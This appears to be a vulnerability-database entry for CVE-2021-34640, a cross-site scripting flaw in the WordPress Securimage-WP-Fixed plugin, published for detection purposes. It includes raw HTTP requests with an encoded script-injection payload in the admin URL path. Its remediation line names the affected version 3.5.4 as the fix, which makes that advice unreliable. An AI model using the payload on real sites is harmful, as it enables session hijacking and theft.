🔙 목록으로 돌아가기

CVE-2021-34640: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting

TitleWordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.12179
CVE IDCVE-2021-34640
CWE IDCWE-79
Tags cve2021 cve wpscan wordpress wp-plugin authenticated securimage-wp-fixed_project vuln

🔍 Vulnerability Description

WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=AYGvaY&pwd=YgYf8e&wp-submit=Log+In&testcookie=1
GET //wp-admin/options-general.php/%22%3E%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/script%3E?page=securimage-wp-options%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34640.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34640.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A